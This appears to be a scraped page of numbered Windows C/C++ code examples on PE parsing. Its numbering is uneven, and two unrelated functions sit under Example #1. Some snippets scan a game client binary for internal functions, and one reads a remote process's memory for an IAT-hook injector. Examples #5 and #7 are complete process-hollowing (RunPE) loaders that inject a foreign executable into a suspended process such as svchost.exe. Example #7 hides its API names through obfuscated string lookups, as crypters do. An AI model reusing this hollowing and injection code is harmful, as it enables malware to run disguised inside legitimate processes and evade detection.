Example #1
0
VOID scanSendChatMessage_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile)
{
	PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew);
    PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1);
    PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress);
    DWORD dwCodeSize = pSecHdr[0].SizeOfRawData;
	PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress);
	DWORD dwRDataSize = pSecHdr[1].SizeOfRawData;
	PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress);
    DWORD dwDataSize = pSecHdr[2].SizeOfRawData;
	
	SetItemStatus(iItem, hwndDlg, "Scanning...");

	// scan data section for "Unknown chat type"
	for(DWORD dwDataIndex = 0; dwDataIndex < dwDataSize - (sizeof("Unknown chat type") - 1); dwDataIndex++)
	{
		if(MemoryCompare(&pbData[dwDataIndex], (PBYTE)"Unknown chat type", sizeof("Unknown chat type") - 1))
		{
			// calculate va of found string
			DWORD dwStringVA = OffsetToRva(pbFile, PtrToUlong(pbData) + dwDataIndex - PtrToUlong(pbFile));
			if(dwStringVA)
			{
				dwStringVA += pNtHdr->OptionalHeader.ImageBase;

				// scan code section for 'push dwStringVA'
				for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - 8; dwCodeIndex++)
				{
					if(pbCode[dwCodeIndex] == 0x68 && *((PDWORD)&pbCode[dwCodeIndex + 1]) == dwStringVA)
					{
						// find beginning of procedure
						for(DWORD dwCodeIndex2 = dwCodeIndex & 0xFFFFFFF0; dwCodeIndex2; dwCodeIndex2 -= 0x10)
						{
							if(pbCode[dwCodeIndex2 - 1] == 0x90 || pbCode[dwCodeIndex2 - 1] == 0xC3 || pbCode[dwCodeIndex2 - 3] == 0xC2)
							{
								DWORD dwProcRva = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex2 - PtrToUlong(pbFile));
								if(dwProcRva)
								{
									GetPPD(iItem, hwndDlg)->dwValue = dwProcRva + pNtHdr->OptionalHeader.ImageBase;
									SetItemStatus(iItem, hwndDlg, "Success");
									return;
								}
							}
						}
					}
				}
			}
		}
	}
	GetPPD(iItem, hwndDlg)->dwValue = 0;
	SetItemStatus(iItem, hwndDlg, "Fail");
}
PLOADED_IMAGE IATHookInjector::ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress) const
{
	auto lpBuffer = new BYTE[BUFFER_SIZE];
	auto bSuccess = ReadProcessMemory(hProcess, lpImageBaseAddress, lpBuffer, BUFFER_SIZE, nullptr);
	if (!bSuccess)
	{
		return nullptr;
	}
	auto pDOSHeader = PIMAGE_DOS_HEADER(lpBuffer);
	auto pImage = new LOADED_IMAGE();
	pImage->FileHeader = PIMAGE_NT_HEADERS(lpBuffer + pDOSHeader->e_lfanew);
	pImage->NumberOfSections = pImage->FileHeader->FileHeader.NumberOfSections;
	pImage->Sections = PIMAGE_SECTION_HEADER(lpBuffer + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
	return pImage;
}
Example #3
0
DWORD OffsetToRva(PBYTE pbImage, DWORD dwOffset)
{
    DWORD dwSecBorder = -1;
    PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pbImage + PIMAGE_DOS_HEADER(pbImage)->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = PIMAGE_SECTION_HEADER(PBYTE(pNt) + sizeof(IMAGE_NT_HEADERS));
    for(DWORD x = 0; x < pNt->FileHeader.NumberOfSections; x++)
    {
        if(dwOffset >= pSec[x].PointerToRawData && dwOffset < pSec[x].PointerToRawData + pSec[x].SizeOfRawData)
            return (dwOffset - pSec[x].PointerToRawData + pSec[x].VirtualAddress);
        if(pSec[x].PointerToRawData && pSec[x].PointerToRawData < dwSecBorder)
            dwSecBorder = pSec[x].PointerToRawData;
    }
    if(dwOffset < dwSecBorder)
        return dwOffset;
    else
        return NULL;
}
Example #4
0
PBYTE RvaToPointer(PBYTE pbImage, DWORD dwRva)
{
    DWORD dwSecBorder = -1;
    PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pbImage + PIMAGE_DOS_HEADER(pbImage)->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = PIMAGE_SECTION_HEADER(PBYTE(pNt) + sizeof(IMAGE_NT_HEADERS));
    for(DWORD x = 0; x < pNt->FileHeader.NumberOfSections; x++)
    {
        if(dwRva >= pSec[x].VirtualAddress && dwRva < pSec[x].VirtualAddress + pSec[x].Misc.VirtualSize)
            return (pbImage + (dwRva - pSec[x].VirtualAddress + pSec[x].PointerToRawData));
        if(pSec[x].PointerToRawData && pSec[x].PointerToRawData < dwSecBorder)
            dwSecBorder = pSec[x].PointerToRawData;
    }
    if(dwRva < dwSecBorder)
        return pbImage + dwRva;
    else
        return NULL;
}
Example #5
0
BOOL GetSetThreadContext_Injection()
{
	TCHAR lpApplicationName[] = _T("C:\\Windows\\System32\\svchost.exe");
	TCHAR lpApplicationName2[] = _T("C:\\masm32\\examples\\dialogs_later\\basic\\basicdlg.exe");
	BOOL bResult;

	STARTUPINFO StartupInfo;
	PROCESS_INFORMATION ProcessInfo;

	SecureZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
	SecureZeroMemory(&ProcessInfo, sizeof(PPROCESS_INFORMATION));

	// Create the hollowed process in suspended mode
	bResult = CreateProcess(lpApplicationName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &ProcessInfo);
	if (bResult == NULL){
		print_last_error(_T("CreateProcess"));
		return FALSE;
	}

	// Allocate space for context structure
	PCONTEXT pContext;
	LPVOID pTargetImageBase = NULL;
	pContext = PCONTEXT(VirtualAlloc(NULL, sizeof(LPVOID), MEM_COMMIT, PAGE_READWRITE));
	if (pContext == NULL) {
		print_last_error(_T("VirtualAlloc"));
		return FALSE;
	}

	// Get the thread context of target
	pContext->ContextFlags = CONTEXT_FULL;
	bResult = GetThreadContext(ProcessInfo.hThread, pContext);
	if (bResult == NULL) {
		print_last_error(_T("GetThreadContext"));
		return FALSE;
	}

	// Read the image base address of target
	ReadProcessMemory(ProcessInfo.hProcess, LPCVOID(pContext->Ebx + 8), pTargetImageBase, 4, NULL);

	// Opening source image
	HANDLE hFile = CreateFile(lpApplicationName2, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		print_last_error(_T("CreateFile"));
		return FALSE;
	}

	// Reading the file
	DWORD dwSize = GetFileSize(hFile, 0);
	DWORD dwBytesRead;
	PBYTE pBuffer = new BYTE[dwSize];
	ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
	PIMAGE_SECTION_HEADER pImageSectionHeader;

	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuffer;
	if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE)
	{
		PIMAGE_NT_HEADERS32 pNTHeaders = PIMAGE_NT_HEADERS(DWORD(pBuffer) + pDosHeader->e_lfanew);
		if (pNTHeaders->Signature == IMAGE_NT_SIGNATURE)
		{

			if (DWORD(pTargetImageBase) == pNTHeaders->OptionalHeader.ImageBase)
			{
				pNtUnmapViewOfSection NtUnmapViewOfSection;
				NtUnmapViewOfSection = (pNtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
				NtUnmapViewOfSection(ProcessInfo.hProcess, pTargetImageBase);
			}

			LPVOID pImageBase;
			pImageBase = VirtualAllocEx(ProcessInfo.hProcess, LPVOID(pNTHeaders->OptionalHeader.ImageBase), pNTHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
			if (pImageBase == NULL) {
				print_last_error(_T("VirtualAllocEx"));
				return FALSE;
			}

				WriteProcessMemory(ProcessInfo.hProcess, pImageBase, pBuffer, pNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
				for (int Count = 0; Count < pNTHeaders->FileHeader.NumberOfSections; Count++)
				{
					pImageSectionHeader = PIMAGE_SECTION_HEADER(DWORD(pBuffer) + pDosHeader->e_lfanew + 248 + (Count * 40));
					WriteProcessMemory(ProcessInfo.hProcess, LPVOID(DWORD(pImageBase) + pImageSectionHeader->VirtualAddress), LPVOID(DWORD(pBuffer) + pImageSectionHeader->PointerToRawData), pImageSectionHeader->SizeOfRawData, NULL);
				}
				WriteProcessMemory(ProcessInfo.hProcess, LPVOID(pContext->Ebx + 8), LPVOID(&pNTHeaders->OptionalHeader.ImageBase), 4, NULL);
				pContext->Eax = DWORD(pImageBase) + pNTHeaders->OptionalHeader.AddressOfEntryPoint;
				SetThreadContext(ProcessInfo.hThread, LPCONTEXT(pContext));
				ResumeThread(ProcessInfo.hThread);
			
		}
	}

	return TRUE;
}
Example #6
0
VOID scanZeroGravity_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile)
{
	PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew);
    PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1);
    PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress);
    DWORD dwCodeSize = pSecHdr[0].SizeOfRawData;
	PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress);
	DWORD dwRDataSize = pSecHdr[1].SizeOfRawData;
	PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress);
    DWORD dwDataSize = pSecHdr[2].SizeOfRawData;
	
	SetItemStatus(iItem, hwndDlg, "Scanning...");

	// scan for 'and reg, 75BFEDFF'
	for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - 6; dwCodeIndex++)
	{
		if(*((PDWORD)&pbCode[dwCodeIndex]) == 0x75BFEDFF && (pbCode[dwCodeIndex - 1] == 0x25 || ((pbCode[dwCodeIndex - 1] & 0xF8) == 0xE0 && pbCode[dwCodeIndex - 2] == 0x81)))
		{
			// search for long jump or call following and instruction
			for(DWORD dwCodeIndex2 = dwCodeIndex + 4; dwCodeIndex2 - dwCodeIndex < 20; dwCodeIndex2++)
			{
				if(pbCode[dwCodeIndex2] == 0xE9 || pbCode[dwCodeIndex2] == 0xE8)
				{
					// get offset of jump location
					DWORD dwJumpOffset = (dwCodeIndex2 + 5) + *((PDWORD)&pbCode[dwCodeIndex2 + 1]);
					
					// scan for 'test [reg+disp], 4000000h'
					for(DWORD dwCodeIndex3 = dwJumpOffset; dwCodeIndex3 - dwJumpOffset < 500; dwCodeIndex3++)
					{
						if(*((PDWORD)&pbCode[dwCodeIndex3]) == 0x04000000)
						{
							if(pbCode[dwCodeIndex3 - 3] == 0xF7) // short displacement
							{
								// find a je to this instruction
								for(DWORD dwCodeIndex4 = dwCodeIndex3 - 5; dwCodeIndex4 >= dwJumpOffset; dwCodeIndex4--)
								{
									if(pbCode[dwCodeIndex4] == 0x74 && pbCode[dwCodeIndex4+1] == ((dwCodeIndex3 - 3) - (dwCodeIndex4 + 2)))
									{
										// search for 'mov [reg+disp], reg' above the jump
										for(DWORD dwCodeIndex5 = dwCodeIndex4; dwCodeIndex5 >= dwJumpOffset; dwCodeIndex5--)
										{
											if(pbCode[dwCodeIndex5] == 0x89)
											{
												// search for 'mov reg, [reg+disp]
												for(DWORD dwCodeIndex6 = dwCodeIndex5; dwCodeIndex6 >= dwJumpOffset; dwCodeIndex6--)
												{
													if(pbCode[dwCodeIndex6] == 0x8B && (pbCode[dwCodeIndex6+1] & 0x38) == (pbCode[dwCodeIndex5+1] & 0x38))
													{
														GetPPD(iItem, hwndDlg)->dwValue = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase;
														SetItemStatus(iItem, hwndDlg, "Success");
														return;
													}
												}
											}
										}
									}
								}
							}
							else if(pbCode[dwCodeIndex3 - 6] == 0xF7) // long displacement
							{
								// find a je to this instruction
								for(DWORD dwCodeIndex4 = dwCodeIndex3 - 8; dwCodeIndex4 >= dwJumpOffset; dwCodeIndex4--)
								{
									if(pbCode[dwCodeIndex4] == 0x74 && pbCode[dwCodeIndex4+1] == ((dwCodeIndex3 - 6) - (dwCodeIndex4 + 2)))
									{
										// search for mov '[reg+disp], reg' above the jump
										for(DWORD dwCodeIndex5 = dwCodeIndex4; dwCodeIndex5 >= dwJumpOffset; dwCodeIndex5--)
										{
											if(pbCode[dwCodeIndex5] == 0x89)
											{
												// search for 'mov reg, [reg+disp]
												for(DWORD dwCodeIndex6 = dwCodeIndex5; dwCodeIndex6 >= dwJumpOffset; dwCodeIndex6--)
												{
													if(pbCode[dwCodeIndex6] == 0x8B && (pbCode[dwCodeIndex6+1] & 0x38) == (pbCode[dwCodeIndex5+1] & 0x38))
													{
														GetPPD(iItem, hwndDlg)->dwValue = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase;
														SetItemStatus(iItem, hwndDlg, "Success");
														return;
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}

	GetPPD(iItem, hwndDlg)->dwValue = 0;
	SetItemStatus(iItem, hwndDlg, "Fail");
}
Example #7
0
// ExecFile based on RUNPE work (c) Someone 2009
void ExecFile(LPSTR szFilePath, LPVOID pFile) {
	// On va creer un process suspendu, demapper le nouveau process, aligner la taille avce notre pe
	// recopier notre pe dans les sections, demarre et sauter dans le process

  PIMAGE_DOS_HEADER IDH;  // Structure http://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html 
	PIMAGE_NT_HEADERS INH;  
	PIMAGE_SECTION_HEADER ISH;
	PROCESS_INFORMATION PI;
	STARTUPINFOA SI;
	PCONTEXT CTX;
	PDWORD dwImageBase;
	PNtUnmapViewOfSection xNtUnmapViewOfSection;
	PWriteProcessMemory xWriteProcessMemory ;
	PNtResumeThread xNtResumeThread;
	PGetThreadContext xGetThreadContext;
	PSetThreadContext xSetThreadContext;
	PGetProcAddress xGetProcAddress;
	PCreateProcessA xCreateProcessA;
	PReadProcessMemory xReadProcessMemory;
	PLoadLibrary xLoadLibrary;
	PVirtualAllocEx xVirtualAllocEx;

	LPVOID pImageBase;
	int Count;


int extern str_ntdll() asm ("str_ntdll"); 
int extern str_kernel32() asm ("str_kernel32"); 
int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory"); 
int extern str_GetProcAddress() asm ("str_GetProcAddress"); 
int extern str_ReadProcAddress() asm ("str_ReadProcAddress"); 
int extern str_WriteProcessMemory() asm ("str_WriteProcessMemory"); 
int extern str_GetThreadContext() asm ("str_GetThreadContext"); 
int extern str_SetThreadContext() asm ("str_SetThreadContext");
int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory"); 
int extern str_CreateProcessA() asm ("str_CreateProcessA"); 
int extern str_NtResumeThread() asm ("str_NtResumeThread");
int extern str_NtUnmapViewOfSection() asm ("str_NtUnmapViewOfSection"); 
int extern str_VirtualAllocEx() asm ("str_VirtualAllocEx"); 

	xLoadLibrary = (PLoadLibrary) getfunction (findkernel() ,ostring((unsigned char *) &str_LoadLibrary ));
	HINSTANCE Hkernel32  = xLoadLibrary((LPCTSTR) ostring((unsigned char *) &str_kernel32 ));
	HINSTANCE Hntdll = xLoadLibrary((LPCTSTR) ostring((unsigned char * ) &str_ntdll ));
	xGetProcAddress = (PGetProcAddress) getfunction(findkernel(),ostring((unsigned char *) &str_GetProcAddress));
	xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext));
  xNtResumeThread = (PNtResumeThread)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *) &str_NtResumeThread)));	

	IDH = PIMAGE_DOS_HEADER(pFile);
	if (IDH->e_magic == IMAGE_DOS_SIGNATURE) { // TEST MZ
		INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
		if (INH->Signature == IMAGE_NT_SIGNATURE) {   // TESTPE
			RtlZeroMemory(&SI, sizeof(SI));
			RtlZeroMemory(&PI, sizeof(PI));

			// Cree un process etat suspendu
			xCreateProcessA = (PCreateProcessA) (xGetProcAddress(Hkernel32,(LPCSTR) ostring((unsigned char *) &str_CreateProcessA)));
			if (xCreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
				CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
				CTX->ContextFlags = CONTEXT_FULL;
				
				xGetThreadContext = ( PGetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_GetThreadContext));
				if (xGetThreadContext(PI.hThread, LPCONTEXT(CTX))){
					
  				xReadProcessMemory = (PReadProcessMemory) getfunction(findkernel(), ostring((unsigned char *)&str_ReadProcessMemory));
					xReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);

				  // Mappe l'exe dans la thread
				  if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)	{
					vaauxfraises(DWORD(dwImageBase));
					
					xNtUnmapViewOfSection = (PNtUnmapViewOfSection)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *)&str_NtUnmapViewOfSection)));
					xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
				  }


				xVirtualAllocEx = ( PVirtualAllocEx) getfunction(findkernel(),ostring((unsigned char *)&str_VirtualAllocEx));
				pImageBase = xVirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
				if (pImageBase) {
			//	HMODULE aKERNEL32=LoadLibrary(vKERNEL32);

			xWriteProcessMemory = (PWriteProcessMemory)  getfunction(findkernel(),ostring((unsigned char *)&str_WriteProcessMemory));
				xWriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
					for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) {
						ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
	
					startrand();
					xWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
					}
					xWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
					CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
					// Et on demarre la thread
	
					xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext));
					xSetThreadContext(PI.hThread, LPCONTEXT(CTX));
					startrand();
			
					xNtResumeThread(PI.hThread);
				}
			}
		}
	}
	}
	GetLastError();
	VirtualFree(pFile, 0, MEM_RELEASE);
}
Example #8
0
VOID scanGetCharacterGuid_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile)
{
	PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew);
    PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1);
    PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress);
    DWORD dwCodeSize = pSecHdr[0].SizeOfRawData;
	PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress);
	DWORD dwRDataSize = pSecHdr[1].SizeOfRawData;
	PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress);
    DWORD dwDataSize = pSecHdr[2].SizeOfRawData;
	
	SetItemStatus(iItem, hwndDlg, "Scanning...");

	// scan data section for "Player_C.h"
	for(DWORD dwDataIndex = 0; dwDataIndex < dwDataSize - (sizeof("Player_C.h") - 1); dwDataIndex++)
	{
		if(MemoryCompare(&pbData[dwDataIndex], (PBYTE)"Player_C.h", sizeof("Player_C.h") - 1))
		{
			// found "Player_C.h", now scan for beginning of the string
			DWORD dwStringIndex;
			for(dwStringIndex = dwDataIndex - 1; dwStringIndex && pbData[dwStringIndex] >= 0x20 && pbData[dwStringIndex] <= 0x7E; dwStringIndex--);
			dwStringIndex++;

			// calculate va of found string
			DWORD dwStringVA = OffsetToRva(pbFile, PtrToUlong(pbData) + dwStringIndex - PtrToUlong(pbFile));
			if(dwStringVA)
			{
				dwStringVA += pNtHdr->OptionalHeader.ImageBase;

				// scan code section for 'mov edx, dwStringVA'
				BYTE bMoveIns[5];
				bMoveIns[0] = 0xBA;
				*((PDWORD)&bMoveIns[1]) = dwStringVA;
				for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - sizeof(bMoveIns); dwCodeIndex++)
				{
					if(MemoryCompare(&pbCode[dwCodeIndex], bMoveIns, sizeof(bMoveIns)))
					{
						// found mov instruction, make sure next instruction is 'mov ecx, constant'
						if(pbCode[dwCodeIndex + 5] == 0xB9)
						{
							// make sure instruction following 'mov ecx, constant' is a call relative
							if(pbCode[dwCodeIndex + 10] == 0xE8)
							{
								// somewhere before the 'mov edx, dwStringVA' instruction there must be this code:
								// call relative
								// push edx
								// push eax
								for(DWORD dwCodeIndex2 = dwCodeIndex - 2; dwCodeIndex - dwCodeIndex2 < 20; dwCodeIndex2--)
								{
									if(*((PWORD)&pbCode[dwCodeIndex2]) == 0x5052 && pbCode[dwCodeIndex2 - 5] == 0xE8)
									{
										// lastly check for a 'push constant' instruction before those two register pushes instruction
										for(DWORD dwCodeIndex3 = dwCodeIndex2 - 5; dwCodeIndex2 - dwCodeIndex3 < 20; dwCodeIndex3--)
										{
											if(pbCode[dwCodeIndex3] == 0x68)
											{
												// we need to decode the call relative preceeding the two register pushes
												
												// calculate va of next instruction following call
												DWORD dwFollowingVA = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex2 - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase;
												if(dwFollowingVA)
												{
													GetPPD(iItem, hwndDlg)->dwValue = dwFollowingVA + *((PDWORD)&pbCode[dwCodeIndex2 - 4]);
													SetItemStatus(iItem, hwndDlg, "Success");
													return;
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}
	GetPPD(iItem, hwndDlg)->dwValue = 0;
	SetItemStatus(iItem, hwndDlg, "Fail");
}